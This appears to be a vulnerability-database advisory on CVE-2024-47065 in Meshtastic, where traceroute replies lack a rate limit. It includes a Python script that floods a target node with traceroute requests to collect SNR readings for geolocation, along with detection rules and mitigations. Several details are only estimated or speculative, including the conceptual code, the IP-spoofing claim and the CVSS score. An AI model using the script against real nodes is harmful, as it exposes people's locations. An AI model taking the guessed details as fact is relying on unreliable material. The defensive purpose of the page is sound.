CVE-2024-47065
Executive Summary
CVE-2024-47065 is a vulnerability in Meshtastic, an open-source mesh networking solution. The flaw exists in the traceroute functionality, where responses from remote nodes are not rate-limited. This allows an attacker to force a remote node to continuously respond to traceroute requests, enabling the rapid collection of SNR (Signal-to-Noise Ratio) measurements. This can be exploited to compromise positional confidentiality by geolocating nodes based on signal strength data. Additionally, the lack of rate limiting can be used to amplify a 2:1 reflected Denial-of-Service (DoS) attack against the network. The vulnerability is fixed in Meshtastic version 2.5.1.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Meshtastic firmware, which is distributed as open-source software. Users should verify the integrity of firmware updates by checking checksums provided on the official Meshtastic GitHub releases page. The project is not distributed via NPM, PyPI, Go, or Ruby package managers.
CVSS Breakdown & Threat Level
While a CVSS vector is not provided, the vulnerability can be assessed based on its characteristics:
- Attack Vector (AV): Network (AV:N) - The attack can be performed remotely over the mesh network.
- Attack Complexity (AC): Low (AC:L) - No special conditions are required to exploit the vulnerability.
- Privileges Required (PR): None (PR:N) - No authentication is needed.
- User Interaction (UI): None (UI:N) - The target node does not require user action.
- Scope (S): Unchanged (S:U) - The vulnerability does not affect other components.
- Confidentiality (C): High (C:H) - SNR data can be used to geolocate nodes.
- Integrity (I): None (I:N) - No data integrity impact.
- Availability (A): Low (A:L) - The DoS aspect can degrade network performance.
Estimated CVSS Score: 7.5 (High)
Threat Level: High. The vulnerability allows for easy reconnaissance and potential DoS attacks.
Deep Dive & Mechanics
The Meshtastic firmware includes a traceroute feature that allows nodes to discover the path to a remote node. When a node receives a traceroute request, it responds with a packet that includes SNR measurements. The vulnerability arises because there is no rate limiting on these responses. An attacker can send a continuous stream of traceroute requests to a target node, forcing it to respond each time. This provides the attacker with a rapid method to collect SNR data, which can be used to triangulate the physical location of the target node. The secondary effect is a reflected DoS attack, where the attacker spoofs the source IP of a victim node, causing the target node to flood the victim with responses.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-2.5.1): The vulnerable code likely lacks any rate limiting mechanism in the traceroute response handler. The following is a conceptual representation:
// Vulnerable: No rate limiting
void handleTracerouteRequest(NodeID source, NodeID target) {
// Process request and send response immediately
sendTracerouteResponse(target, source, getSNR());
}
Patched Code (2.5.1): The patched code introduces a rate limiter, such as a token bucket or a simple time-based throttle.
// Patched: Rate limited
RateLimiter tracerouteLimiter(1, 10); // 1 response per 10 seconds
void handleTracerouteRequest(NodeID source, NodeID target) {
if (tracerouteLimiter.allow()) {
sendTracerouteResponse(target, source, getSNR());
} else {
// Drop request silently
log("Traceroute request rate limited");
}
}
Exploitation & Lab Setup
Red Team
Objective: Collect SNR data from a target node to geolocate it.
Prerequisites:
- A Meshtastic device with firmware version < 2.5.1.
- Knowledge of the target node's ID.
- A computer with Python and the Meshtastic Python library installed.
Exploitation Steps:
- Identify Target: Use a mesh network scanner to find a target node.
- Send Traceroute Requests: Use the Meshtastic Python library to send continuous traceroute requests.
import meshtastic
import meshtastic.serial_interface
import time
interface = meshtastic.serial_interface.SerialInterface()
target_node_id = "!12345678" # Replace with actual node ID
for i in range(100):
interface.sendTraceroute(target_node_id)
time.sleep(0.1) # No rate limiting, so we can send fast
- Collect SNR Data: The responses will contain SNR values. Log them for analysis.
def on_receive(packet):
if packet['decoded']['portnum'] == 'TRACEROUTE_APP':
snr = packet['rxSnr']
print(f"Received SNR: {snr}")
interface.on_receive = on_receive
- Geolocate: Use the collected SNR data with triangulation algorithms to estimate the target's position.
Blue Team
Objective: Detect and mitigate exploitation attempts.
Detection:
- Monitor for an unusually high number of traceroute requests from a single node.
- Use the detection rules provided in the Detection Engineering section.
Mitigation:
- Update all Meshtastic devices to version 2.5.1 or later.
- Implement network-level rate limiting if possible.
- Monitor for DoS attacks and block offending nodes.
Indicators of Compromise (IOCs)
- Network Traffic: High volume of traceroute request/response packets between two nodes.
- Node Behavior: A node responding to traceroute requests at a rate exceeding 1 per second.
- Logs: Repeated entries of traceroute requests from the same source node in a short time frame.
Detection Engineering
YARA Rule
rule CVE_2024_47065_Meshtastic_Traceroute_Flood {
meta:
description = "Detects Meshtastic traceroute flood attempts"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-47065"
strings:
$traceroute = "traceroute" nocase
$snr = "snr" nocase
condition:
#traceroute > 10 and #snr > 10
}
Sigma Rule
title: Meshtastic Traceroute Flood Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects a high volume of traceroute requests in Meshtastic network traffic
author: Valters IT
date: 2024/10/27
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-47065
logsource:
category: network
product: meshtastic
detection:
selection:
event: traceroute_request
timeframe: 1m
condition: selection | count() > 50
falsepositives:
- Legitimate network diagnostics
level: high
Suricata Rule
alert udp any any -> any any (msg:"CVE-2024-47065 Meshtastic Traceroute Flood"; content:"|00 00 00 00|"; depth:4; offset:0; threshold: type both, track by_src, count 50, seconds 60; sid:1000001; rev:1;)
Note: The Suricata rule assumes a specific packet signature. Adjust the content match based on actual Meshtastic protocol details.
Remediation & Mitigation
- Immediate Action: Update all Meshtastic devices to firmware version 2.5.1 or later.
- Network Segmentation: Isolate Meshtastic networks from untrusted devices.
- Rate Limiting: Implement rate limiting at the network level for traceroute packets.
- Monitoring: Deploy detection rules to identify and alert on traceroute floods.
- User Education: Inform users about the risks of exposing SNR data and the importance of firmware updates.
Valters IT